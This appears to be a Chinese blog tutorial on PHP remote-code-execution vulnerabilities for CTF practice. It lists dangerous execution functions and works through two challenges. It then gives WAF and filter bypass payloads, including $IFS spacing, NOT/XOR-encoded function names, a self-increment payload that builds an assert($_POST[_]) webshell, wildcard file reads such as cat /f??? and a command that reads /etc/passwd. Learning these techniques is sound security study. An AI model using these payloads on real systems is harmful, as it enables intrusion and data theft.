当前位置: 首页 > article >正文

RCE漏洞学习

1,What is RCE?

        在CTF(Capture The Flag)竞赛中,RCE漏洞指的是远程代码执行漏洞(Remote Code Execution)。这类漏洞允许攻击者通过某种方式在目标系统上执行任意代码,从而完全控制目标系统或获取敏感信息。RCE漏洞通常是非常严重的漏洞,因为它们可以直接导致系统被攻陷。

2,How to find a RCE?

        要能执行漏洞,那就肯定要了解能执行漏洞的函数

1.系统命令执行函数

  • system():能将字符串作为OS命令执行,且返回命令执行结果;
  • exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显);
  • shell_exec():能将字符串作为OS命令执行
  • passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;
  • popen():打开进程文件指针
  • proc_open():与popen()类似
  • pcntl_exec():在当前进程空间执行指定程序;
  • 反引号``:反引号``内的字符串会被解析为OS命令;

2.代码执行函数

  • eval():将字符串作为php代码执行;
  • assert():将字符串作为php代码执行;
  • preg_replace():正则匹配替换字符串;
  • create_function():主要创建匿名函数;
  • call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;
  • call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组;
  • 可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;

 For example

[SWPUCTF 2021 新生赛]babyrce

从php代码可以知道要让admin的cookie等于1 

 

然后尝试访问这个php文件

 一个典型的rce注入,过滤了空格,可以用$IFS$6绕过

然后我们就可以进行命令执行,在根目录下找到了flag

 这样一道简单的RCE就做完了(我说白了,我白说了,这才像新生题)

这样也可以看出来,RCE就是靶机上会给出命令执行函数(一般情况下),再加上一些过滤就构成了一般的RCE(二般的我不敢说话)

3,RCE by pass

由此可见RCE的绕过方式相当重要,那我问你,你学不学

1,逻辑运算符

由于php是在c语言上衍生的一门编程语言,所以逻辑运算符是与c差不多的

逻辑运算符例子描述
&A&B执行A和B
&&A&&B当A为真时执行B
A;B从左到右执行AB
|A|B显示B的执行结果
||A||B当A为假时执行B

以pikachu靶场为例(因为靶机时windows系统,所以用dir查看命令

 (| 只显示后一个命令的执行)

(&两个都执行 )

2,空格绕过

        这里有如下几种方式

  • $IFS$6,${IFS}
  • <        重新定向符 例子 cat</etc/passwd
  • \t,%09(水平制表符)
  • %20,\x20 url解码和16进制中的空格

例题 [MoeCTF 2021]babyRCE

可以看到过滤了空格和一些系统命令,这里的空格只有用第一中方式

然后cat等命令用下面要将的反斜杠绕过

3,反斜杠\绕过 

如上题所示,当面对一些系统命令被过滤掉,而反斜杠没有被过滤,就可以用这钟绕过

如 cat-->c\at flag-->fl\ag

4,取反绕过

什么是去取反?

        php语言中"~$a"会将变量a的值取反将字符或字符串进行按位取反,从而生成新的字符或字符串。(比如0101 --> 1010)

        而利用方法就是先取反,在取回来就行了(适用于~没有被过滤)

所以就可以用

?cmd=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);

 作为传递的参数

5,异或绕过

 我们都知道异或运算符^

而效果就是 1001^0111=1110        即对应位相同为0,不同为1,而且这个运算是可逆的

所以我们可以通过用异或运算的方法来绕过

比如 a='system'^'whatcanisay'

那我们要得到system就要传入a^'whatcanisay'就行了

6,自增绕过

这个相当有趣

比如我们令$_=[],这样就会得到一个名为_的空数组

而在php中,创建数组用Array

那我们输出echo "$_"会怎么样

这样就从无字符到有字符了,再用$_="$_",配合上@==&返回0,所以就能访问到A

再将A赋值给$_,并自增

 

现在发现$_变成了B(ASCII值+1)

原理懂了我们直接看payload

//自增payload,assert($_POST[_]),命令传入_$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);&_=phpinfo();

这不就稳稳拿下了吗 

7,变量拼接

有些时候我们也可以自己命名一个变量

比如变量cmd中会正则匹配flag字符串

那我们就可以传入?a=flag&cmd=cat $a

同时也可以字符串拼接,比如s.y.s.t.e.m

8,base和hex编码绕过

        之前学的管道符|就发挥作用了,比如我我们将system用base64编码,传入后再用base64解码不久可以了吗?

 

 总之,这两种方法的思想无异于就是先转为16进制或者base再转回来

9,正则匹配绕过

//如flag被过滤
cat /f???
cat /fl*
cat /f[a-z]{3}

这三种都是shell通配符

 

 10,引号绕过

//如cat、ls被过滤
ca""t /flag
l's' /

感觉与反斜杠绕过同理,就是将关键词分隔开

11,命令替换

如果cat被过滤了还可以用如下的东西替代

 

12,回溯绕过

适用于php正则匹配绕过

//php正则的回溯次数大于1000000次时返回False
$a = 'hello world'+'h'*1000000
preg_match("/hello.*world/is",$a) == False

13,无回显RCE

//无回显RCE,如exce()函数,可将执行结果输出到文件再访问文件执行以下命令后访问1.txt即可
ls / | tee 1.txt
cat /flag | tee 2.txt
//eval()无输出
eval(print`c\at /flag`;)

 

相关文章:

RCE漏洞学习

1&#xff0c;What is RCE&#xff1f; 在CTF&#xff08;Capture The Flag&#xff09;竞赛中&#xff0c;RCE漏洞指的是远程代码执行漏洞&#xff08;Remote Code Execution&#xff09;。这类漏洞允许攻击者通过某种方式在目标系统上执行任意代码&#xff0c;从而完全控制目…...

如何将网页保存为pdf

要将网页保存为PDF&#xff0c;可以按照以下几种方法操作&#xff1a; 1. 使用浏览器的打印功能 大多数现代浏览器&#xff08;如Chrome、Firefox、Edge等&#xff09;都支持将网页保存为PDF文件。步骤如下&#xff1a; 在 Google Chrome 中&#xff1a; 打开你想保存为PDF…...

什么是继承?js中有哪儿些继承?

1、什么是继承&#xff1f; 继承是面向对象软件技术中的一个概念。 2、js中有哪儿些继承&#xff1f; js中的继承有ES6的类class的继承、原型链继承、构造函数继承、组合继承、寄生组合继承。 2.1 ES6中类的继承 class Parent {constructor() {this.age 18;} }class Chil…...

如何使用 Grafana 连接 Easyearch

Grafana 介绍 Grafana 是一款开源的跨平台数据可视化与监控分析工具&#xff0c;专为时序数据&#xff08;如服务器性能指标、应用程序日志、业务数据等&#xff09;设计。它通过直观的仪表盘&#xff08;Dashboards&#xff09;帮助用户实时监控系统状态、分析趋势&#xff0…...

mindsdb AI 开源的查询引擎 - 用于构建 AI 的平台,该平台可以学习和回答大规模联合数据的问题。

一、软件介绍 文末提供源码和程序下载学习 MindsDB 是一种解决方案&#xff0c;使人类、AI、代理和应用程序能够以自然语言和 SQL 查询数据&#xff0c;并在不同的数据源和类型中获得高度准确的答案。此开源程序是一个联合查询引擎&#xff0c;可以整理您的数据蔓延混乱&#…...

802.11a ofdm 过程了解

ofdm_demo.py import numpy as np from scipy import interpolate import commpy as cpy import ofdm_debug as ofdm_debug class OFDMSystem:def __init__(self, K64, CPNone, P8, pilotValue33j, Modulation_typeQAM16, channel_typerandom, SNRdb25,debugFalse):# 设置OFDM…...

BOTA六维力矩传感器如何打通机器人AI力控操作的三层架构?感知-决策-执行全链路揭秘

想象一下&#xff0c;你对着一个机器人说&#xff1a;“请帮我泡杯茶。”然后&#xff0c;它就真的开始行动了&#xff1a;找茶壶、烧水、取茶叶、泡茶……这一切看似简单&#xff0c;但背后却隐藏着复杂的AI技术。今天&#xff0c;我们就来揭秘BOTA六维力矩传感器在机器人操控…...

HDF5文件格式:数据类型与读写功能详解

HDF5文件格式&#xff1a;数据类型与读写功能详解 HDF5简介 HDF5&#xff08;Hierarchical Data Format version 5&#xff09;是一种用于存储和管理大量科学数据的文件格式和库。它由美国国家高级计算应用中心&#xff08;NCSA&#xff09;开发&#xff0c;具有以下特点&…...

macOS Chrome - 打开开发者工具,设置 Local storage

文章目录 macOS Chrome - 打开开发者工具设置 Local storage macOS Chrome - 打开开发者工具 方式2&#xff1a;右键点击网页&#xff0c;选择 检查 设置 Local storage 选择要设置的 url&#xff0c;显示右侧面板 双击面板&#xff0c;输入要添加的内容 2025-04-08&#xff…...

使用Vscode排除一些子文件搜索

打开用户/工作区设置 全局生效&#xff1a;打开命令面板&#xff08;CtrlShiftP 或 CmdShiftP&#xff09;&#xff0c;搜索并选择 Preferences: Open User Settings (JSON)。 仅当前项目生效&#xff1a;在项目根目录下创建 .vscode/settings.json 文件&#xff08;如果不存在…...

kubernetes 入门篇之架构介绍

经过前段时间的学习和实践&#xff0c;对k8s的架构有了一个大致的理解。 1. k8s 分层架构 架构层级核心组件控制平面层etcd、API Server、Scheduler、Controller Manager工作节点层Kubelet、Kube-proxy、CRI&#xff08;容器运行时接口&#xff09;、CNI&#xff08;网络插件&…...

如何绕过WAF实现SQL注入攻击?​

引言​​ 在渗透测试中&#xff0c;SQL注入&#xff08;SQLi&#xff09;始终是Web安全的核心漏洞之一。然而&#xff0c;随着企业广泛部署Web应用防火墙&#xff08;WAF&#xff09;&#xff0c;传统的注入攻击往往会被拦截。本文将分享一种​​绕过WAF检测的SQL注入技巧​​…...

如何使用通义灵码完成PHP单元测试 - AI辅助开发教程

一、引言 在软件开发过程中&#xff0c;测试是至关重要的一环。然而&#xff0c;在传统开发中&#xff0c;测试常常被忽略或草草处理&#xff0c;很多时候并非开发人员故意为之&#xff0c;而是缺乏相应的测试思路和方法&#xff0c;不知道如何设计测试用例。随着 AI 技术的飞…...

pig 权限管理开源项目学习

pig 源码 https://github.com/pig-mesh/pig 文档在其中&#xff0c;前端在文档中&#xff0c;官方视频教学也在文档中有。 第一次搭建&#xff0c;建议直接去看单体视频&#xff0c;照着做即可&#xff0c;需 mysql&#xff0c;redis 基础。 文章目录 项目结构Maven 多模块项…...

设计模式:依赖倒转原则 - 依赖抽象,解耦具体实现

一、为什么用依赖倒转原则&#xff1f; 在软件开发中&#xff0c;类与类之间的依赖关系是架构设计中的关键。如果依赖过于紧密&#xff0c;系统的扩展性和维护性将受到限制。为了应对这一挑战&#xff0c;依赖倒转原则&#xff08;Dependency Inversion Principle&#xff0c;…...

探秘Transformer系列之(26)--- KV Cache优化 之 PD分离or合并

探秘Transformer系列之&#xff08;26&#xff09;— KV Cache优化 之 PD分离or合并 文章目录 探秘Transformer系列之&#xff08;26&#xff09;--- KV Cache优化 之 PD分离or合并0x00 概述0x01 背景知识1.1 自回归&迭代1.2 KV Cache 0x02 静态批处理2.1 调度策略2.2 问题…...

鸿蒙5.0 非桌面页面,设备来电后挂断,自动返回桌面

1.背景 其实在Android上面打开一个应用,然后设备来电后挂断应该是返回到前面打开的这个应用的,但是在鸿蒙里面现象是直接返回桌面,设计如此 2.分析 这个分析需要前置知识,鸿蒙的任务栈页面栈,具体参考如下链接: zh-cn/application-dev/application-models/page-missio…...

C++语言程序设计——02 变量与数据类型

目录 一、变量与数据类型&#xff08;一&#xff09;变量的数据类型&#xff08;二&#xff09;变量命名规则&#xff08;三&#xff09;定义变量&#xff08;四&#xff09;变量赋值&#xff08;五&#xff09;查看数据类型 二、ASCII码三、进制表示与转换&#xff08;一&…...

Model Context Protocol (MCP) - 尝试创建和测试一下MCP Server

1.简单介绍 MCP是Model Context Protocol的缩写&#xff0c;是Anthropic开源的一个标准协议。MCP使得大语言模型可以和外部的数据源&#xff0c;工具进行集成。当前MCP在社区逐渐地流行起来了。同时official C# SDK(仓库是csharp-sdk) 也在不断更新中&#xff0c;目前最新版本…...

十四种逻辑器件综合对比——《器件手册--逻辑器件》

目录 逻辑器件 简述 按功能分类 按工艺分类 按电平分类 特殊功能逻辑器件 应用领域 详尽阐述 1 逻辑门 一、基本概念 二、主要类型 三、实现方式 四、应用领域 2 反相器 工作原理 基本功能 主要应用 常见类型 特点 未来发展趋势 3 锁存器 基本概念 工作原理 主要类型…...

将已有 SVN 服务打包成 Docker 镜像的详细步骤

将已有 SVN 服务打包成 Docker 镜像的详细步骤 一、服务器环境准备 在开始将 SVN 服务打包成 Docker 镜像之前&#xff0c;我们需要确保目标服务器的环境满足一定条件。 首先要确保目标服务器已安装 Docker。同时服务器可以连接互联网&#xff0c;可以通过以下简单命令来验证…...

python文件打包无法导入ultralytics模块

&#x1f4a5;打包的 .exe 闪退了&#xff1f;别慌&#xff01;教你逐步排查 PyInstaller 打包的所有错误&#xff01; &#x1f6e0; 运行 .exe 查看报错信息✅ 正确姿势&#xff1a; ⚠ importlib 动态导入导致打包失败❓什么是动态导入&#xff1f;✅ 解决方式&#xff1a; …...

AMBA-CHI协议详解(二十六)

AMBA-CHI协议详解(一)- Introduction AMBA-CHI协议详解(二)- Channel fields / Read transactions AMBA-CHI协议详解(三)- Write transactions AMBA-CHI协议详解(四)- Other transactions AMBA-CHI协议详解(五)- Transaction identifier fields AMBA-CHI协议详解(六…...

Go小技巧易错点100例(二十六)

本期分享&#xff1a; 1. string转[]byte是否会发生内存拷贝 2. Go程序获取文件的哈希值 正文&#xff1a; string转[]byte是否会发生内存拷贝 在Go语言中&#xff0c;字符串转换为字节数组&#xff08;[]byte&#xff09;确实会发生内存拷贝。这是因为在Go中&#xff0c;字…...

FPGA_BD Block Design学习(一)

PS端开发流程详细步骤 1.第一步&#xff1a;打开Vivado软件&#xff0c;创建或打开一个工程。 2.第二步&#xff1a;在Block Design中添加arm核心&#xff0c;并将其配置为IP核。 3.第三步&#xff1a;配置arm核心的外设信息&#xff0c;如DDR接口、时钟频率、UART接口等。 …...

ubuntu20.04+qt5.12.8安装serialbus

先从官网https://download.qt.io/archive/qt/5.12/5.12.8/submodules/ 下载 qtserialbus-everywhere-src-5.12.8.tar.xz 有需要其他版本的点击返回上一级自行寻找对应版本。 也可从 https://download.csdn.net/download/zhouhui1982/90595810 下载 在终端中依次输入以下命令…...

银河麒麟V10 Ollama+ShellGPT打造Shell AI助手——筑梦之路

环境说明 1. 操作系统版本: 银河麒麟V10 2. CPU架构&#xff1a;X86 3. Python版本&#xff1a;3.12.9 4. 大模型&#xff1a;mistral:7b-instruct 准备工作 1. 编译安装python 3.12 # 下载python 源码wget https://www.python.org/ftp/python/3.12.9/Python-3.12.9.tg…...

python求π近似值

【问题描述】用公式π/4≈1-1/31/5-1/7..1/(2*N-1).求圆周率PI的近似值。 从键盘输入一个整数N值&#xff0c;利用上述公式计算出π的近似值&#xff0c;然后输出π值&#xff0c;保留小数后8位。 【样例输入】1000 【样例输出】3.14059265 def countpi(N):p0040nowid0for i i…...

基于 Spring Boot + Vue 的 [业务场景] 管理系统设计与实现

技术范围&#xff1a;SpringBoot、Vue、SSM、HLMT、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、小程序、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容&#xff1a;免费功能设计、开题报告、任务书、中期检查PPT、系统功能实现、代码编写、论文编写和辅导、论文…...

如何查看自己抖音的IP属地?详细教程+常见问题解答

在当今互联网时代&#xff0c;IP属地信息已成为各大社交平台&#xff08;如抖音、微博、快手等&#xff09;展示用户真实网络位置的重要功能。无论是出于隐私保护、账号安全&#xff0c;还是单纯好奇自己的IP归属地&#xff0c;了解如何查看抖音IP属地都很有必要。 本文将详细介…...